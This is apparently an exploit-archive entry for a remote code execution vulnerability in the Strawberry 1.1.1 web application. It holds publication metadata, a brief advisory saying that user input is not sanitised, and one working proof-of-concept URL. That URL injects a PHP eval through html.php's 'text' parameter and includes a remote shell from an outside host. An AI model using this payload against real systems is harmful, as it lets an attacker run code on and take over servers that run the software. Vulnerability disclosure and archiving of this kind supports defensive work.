Strawberry 1.1.1 - 'html.php' Remote Code Execution

Author: Eugene Minaev
type: webapps
platform: php
port: 
date_added: 2008-01-07  
date_updated: 2014-01-17  
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 30992.txt  

source: https://www.securityfocus.com/bid/27160/info

Strawberry is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/strawberry/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=include('www.example2.com/shell');